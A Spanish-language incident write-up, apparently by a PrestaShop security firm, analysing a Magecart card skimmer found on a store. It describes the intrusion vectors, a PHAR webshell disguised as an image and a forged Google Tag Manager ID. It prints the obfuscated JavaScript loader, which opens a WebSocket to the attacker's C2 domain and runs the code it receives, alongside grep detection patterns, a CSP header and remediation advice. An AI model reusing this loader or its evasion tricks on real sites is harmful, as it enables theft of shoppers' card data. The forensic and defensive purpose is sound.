Ciberseguridad · Cuaderno técnico
Diseccionando un ataque Magecart real en PrestaShop
Análisis técnico de un skimmer activo: doble ofuscación, C2 dinámico, persistencia y siete días operando sin alertas.
9 min de lectura

Hoy, 11 de marzo de 2026, he pasado la mayor parte del día analizando y remediando un ataque Magecart activo en una tienda PrestaShop. Lo documento aquí en detalle porque el nivel de sofisticación merece atención: doble ofuscación en el loader, C2 dinámico vía WebSocket, webshell PHAR camuflado como imagen y un GTM falsificado como segunda capa de persistencia. Todo operando sin ser detectado durante siete días.
Si trabajas en seguridad web o desarrollas sobre PrestaShop, lo que viene a continuación te va a resultar útil.
El primer contacto: siete días de skimmer activo sin alertas.
La tienda llevaba operando con el skimmer desde el 3 de marzo. Ninguna alerta, ninguna anomalía visible, pedidos entrando con normalidad. El ataque Magecart en PrestaShop estaba diseñado exactamente para eso: ser invisible.
Línea temporal del ataque
| Fecha | Evento |
|---|---|
| Julio 2024 | Instalación de Adminer sin autenticación en el directorio de webservice — probablemente por el propio administrador como herramienta de mantenimiento, nunca eliminada |
| 3 mar 2026 | Acceso al panel con cuenta comprometida. Modificación de config/defines.inc.php. Subida del webshell PHAR. Inyección del GTM falso. Inyección del payload en el JS de jBox |
| 3–10 mar 2026 | Skimmer operativo en cada visita al checkout. Formulario Redsys falso presentado a todos los clientes |
| 10 mar 2026 | Probable fecha de exfiltración de datos de clientes vía Adminer o webshell — sin evidencia en disco, no confirmada pero no descartable |
| 11 mar 2026 | Detección, análisis forense y remediación |
El primer hilo del que tiré fue una modificación sospechosa en los logs de acceso al panel de administración: el usuario support@prestashop.com había iniciado sesión el 3 de marzo. Una cuenta con dominio @prestashop.com, probablemente creada durante un soporte técnico previo y nunca desactivada. A partir de ahí, todo empezó a encajar.
Vector de entrada: dos puertas abiertas simultáneamente
Vector A — Adminer expuesto sin autenticación
El primer vector fue un Adminer de 403 KB accesible públicamente en una ruta del directorio de webservice, sin ninguna capa de autenticación adicional. Con acceso a ese archivo y las credenciales de base de datos embebidas en la configuración de PrestaShop, un atacante tiene control total sobre todos los datos de la tienda.
Lo que resulta especialmente crítico en este caso es que el archivo llevaba instalado desde julio de 2024. Dieciocho meses de exposición completa.
Vector B — Cuenta de empleado nunca desactivada
El segundo vector fue una cuenta de administrador con dominio @prestashop.com activa en el panel. Independientemente de si las credenciales fueron robadas o la cuenta fue creada con permisos deliberadamente durante un proceso de soporte técnico previo, el resultado es el mismo: acceso directo al backoffice completo.
La combinación de ambos vectores le daba al atacante dos caminos independientes al interior del sistema.
El webshell: 62 KB que parecían una imagen
Una vez dentro, el atacante subió el mecanismo de persistencia principal: un archivo de 62.528 bytes en el directorio de módulos, con extensión .jpg. No era una imagen.
Era un archivo PHP PHAR (PHP Archive) que, una vez ejecutado, desplegaba 270 KB de webshell completamente funcional tras pasar por esta cadena de decodificación:
XOR 0xFF → rot13 → base64_decode → gzinflate → webshell
Con este archivo activo, el atacante podía en cualquier momento: leer, modificar, crear o eliminar cualquier archivo del servidor, y ejecutar consultas SQL arbitrarias directamente sobre la base de datos. Sin contraseña. Sin log de acceso directo.
Para detectarlo en sistemas comprometidos, este tipo de archivos se puede localizar con:
find /ruta/httpdocs \( -name "*.jpg" -o -name "*.png" -o -name "*.gif" \) \
| xargs file | grep -i "php\|phar\|script"
El loader: inyección quirúrgica en un JS legítimo
El payload principal fue inyectado al final del archivo JavaScript de la librería jBox, utilizada por un módulo de WhatsApp instalado en la tienda. Elegir un archivo JS de una librería legítima y ampliamente utilizada no es casualidad: dificulta la detección porque el archivo tiene miles de líneas de código real antes del payload.
El código inyectado, simplificado:
let qfw = window;
let olg = qfw['at'['concat']('o', 'b')]; // atob() construido dinámicamente
let fdjc = qfw['Function']; // Function constructor ofuscado
let rix = olg('Y29uc3QgaHRjbi...'); // payload en base64
fdjc(rix).call(this);
Al decodificar el base64, aparece la segunda capa de ofuscación:
const htcn = [93,89,89,16,5,5,71,82,70,73,...]; // URL del C2 como array XOR
zlh = 42;
const ohlb = String.fromCharCode(...htcn.map(e => e ^ zlh));
// resultado: "wss://mxlclinfo.com/stats?source="
window.ww = new WebSocket(ohlb + encodeURIComponent(location.href));
window.ww.addEventListener('message', event => {
new Function(event.data)(); // ejecuta en tiempo real lo que envíe el C2
});
Dos técnicas de evasión deliberadas:
atobnunca aparece como string literal — se construye dinámicamente con.concat()para evadir búsquedas de texto plano y algunos WAF basados en firmas.- La URL del servidor C2 nunca está en texto plano en el archivo. Está codificada como un array de enteros con XOR clave 42. Un escáner que busque dominios o URLs en archivos JS no la va a encontrar.
Para buscar archivos JS infectados con patrones similares en el servidor:
grep -r "atob\|fromCharCode\|WebSocket\|new Function" \
/ruta/httpdocs/modules \
--include="*.js" -l | grep -v "node_modules\|vendor"
El servidor C2: payload dinámico vía WebSocket
El dominio del C2 era mxlclinfo.com, registrado específicamente para esta campaña. El handshake WebSocket devolvía un HTTP 101 Switching Protocols correcto, confirmando que el servidor estaba activo y sirviendo payloads en el momento del análisis.
Lo más relevante desde el punto de vista forense: el payload final nunca se almacenaba en el servidor de la tienda. Se entregaba dinámicamente al navegador de cada visitante en tiempo real a través del WebSocket. Esto tiene dos consecuencias directas:
- El skimmer es prácticamente indetectable mediante análisis estático de archivos en el servidor.
- El payload puede cambiar en cualquier momento sin modificar nada en la tienda comprometida.
El payload que el C2 entregaba al navegador del cliente incluía: detección del momento de pago mediante setInterval combinado con _waitElements, sustitución del formulario Redsys legítimo por uno visualmente idéntico, e interceptación y exfiltración silenciosa del número de tarjeta, CVV y fecha de caducidad antes de redirigir la transacción al proceso real.
Segunda capa de persistencia: el GTM falsificado
Como mecanismo de persistencia adicional, los atacantes modificaron las plantillas del tema de la tienda sustituyendo el ID del contenedor de Google Tag Manager legítimo (GTM-KZKRNJ4) por uno falsificado (GTM-000KZKRNJ4000).
La diferencia entre ambos IDs pasa completamente desapercibida en una inspección visual rápida del código fuente. El contenedor GTM malicioso actuaba como loader alternativo del skimmer: aunque se limpiara el archivo JavaScript comprometido, el ataque continuaba activo a través de este segundo canal.
Esta técnica de usar GTM como vector de persistencia está documentada desde 2021 en campañas Magecart y sigue siendo efectiva precisamente porque los administradores rara vez auditan los IDs de GTM presentes en sus plantillas.
Atribución: Magecart con indicadores de Grupo 7/8
El conjunto de técnicas empleadas es consistente con el modus operandi del ecosistema Magecart, específicamente con los indicadores documentados en las variantes de Grupo 7 y 8:
| Indicador | Detalle |
|---|---|
| Infraestructura C2 | Dominio registrado ad-hoc para la campaña, sin presencia legítima |
| WebSocket sobre WSS | Evasión de CSP menos restrictivas y ausencia de payload en disco |
| Ofuscación XOR de array | Patrón recurrente en campañas de estos grupos desde 2023 |
| GTM como loader secundario | Técnica documentada que garantiza persistencia independiente del JS |
| PHAR webshell | Indica acceso a tooling profesional de intrusión, no un script amateur |
Esto no es un atacante oportunista que encontró un exploit público y lo ejecutó sin más. La combinación de vectores, la sofisticación de la ofuscación y el uso del GTM como capa secundaria independiente apuntan a un actor con experiencia real en este tipo de operaciones.
Impacto real: lo que hay que asumir
Datos de pago: todos los clientes que completaron una compra entre el 3 y el 10 de marzo tienen número de tarjeta, CVV, fecha de caducidad y nombre comprometidos. El volumen exacto está pendiente de cruzar con los logs de transacciones.
Datos personales: la base de datos contiene registros de clientes con email, nombre, dirección postal, teléfono e historial de pedidos. Los atacantes tuvieron acceso completo durante siete días. No se encontraron archivos de exportación en el servidor, pero una exfiltración realizada directamente vía Adminer o webshell no deja rastro en disco. No puede confirmarse, pero tampoco descartarse. El artículo 33 del RGPD obliga a aplicar el principio de cautela: ante la duda, se notifica. Plazo máximo: 72 horas desde el conocimiento del incidente.
Remediación: la CSP añadida como medida de contención inmediata
Header always set Content-Security-Policy "\
default-src 'self' https://www.googletagmanager.com; \
script-src 'self' 'unsafe-inline' https://www.googletagmanager.com https://www.google-analytics.com; \
connect-src 'self' https://www.google-analytics.com; \
form-action 'self' https://sis.redsys.es; \
"
Una CSP correctamente configurada con connect-src restrictivo habría bloqueado el WebSocket desde el primer momento. Es una de las medidas preventivas más efectivas y menos implementadas en tiendas de tamaño medio.
Lo que habría evitado este ataque
Hago este análisis siempre al cerrar un incidente porque es lo más útil que puedo documentar:
File Integrity Monitoring. Con AIDE, Tripwire o cualquier solución equivalente monitorizando los directorios de módulos y plantillas, la inyección en el archivo JS habría generado una alerta en el momento en que se produjo. Siete días de exposición se convierten en horas.
Content Security Policy desde el inicio. La directiva connect-src bloqueando dominios no autorizados habría impedido la conexión WebSocket al C2, convirtiendo el ataque en inoperativo aunque el loader estuviera presente.
Subresource Integrity en JS críticos. Un hash SRI sobre los archivos JS del checkout habría hecho que el navegador rechazara la ejecución del archivo comprometido automáticamente:
<script src="jBox.min.js"
integrity="sha384-[hash_del_archivo_limpio]"
crossorigin="anonymous"></script>
Auditoría periódica de cuentas de empleados. Una cuenta con dominio @prestashop.com activa en producción es una señal de alerta que debería haberse detectado en cualquier revisión rutinaria.
Herramientas de administración eliminadas después de usarlas. El Adminer llevaba dieciocho meses en producción. La regla es simple: si no lo necesitas ahora mismo, no debería estar ahí.
PrestaShop y módulos actualizados. Muchos de los vectores que explotan estos ataques son vulnerabilidades parcheadas en versiones más recientes. El mantenimiento continuo de PrestaShop y mantener al día las actualizaciones de PrestaShop cierra la mayor parte de la superficie de ataque antes de que sea explotada.
"Un ataque Magecart permaneció activo durante siete días en una tienda PrestaShop: skimmer invisible en el checkout, webshell camuflado como imagen y un GTM falsificado garantizando la persistencia del acceso al servidor."
Este ataque Magecart en PrestaShop no fue posible por una vulnerabilidad de día cero ni por una técnica especialmente novedosa. Fue posible por la acumulación de decisiones postergadas: una herramienta de administración que nunca se eliminó, una cuenta que nunca se desactivó, un módulo que nunca se auditó.
Los grupos Magecart no buscan objetivos sofisticados. Buscan instalaciones descuidadas. Y las encuentran con herramientas automatizadas que escanean internet de forma continua.
Si gestionas tiendas PrestaShop de terceros o la tuya propia y tienes dudas sobre el estado de seguridad de tu instalación, en psdevs.com hacemos auditorías específicas. Mejor encontrarlo nosotros que un escáner de Magecart.
De la lectura a la acción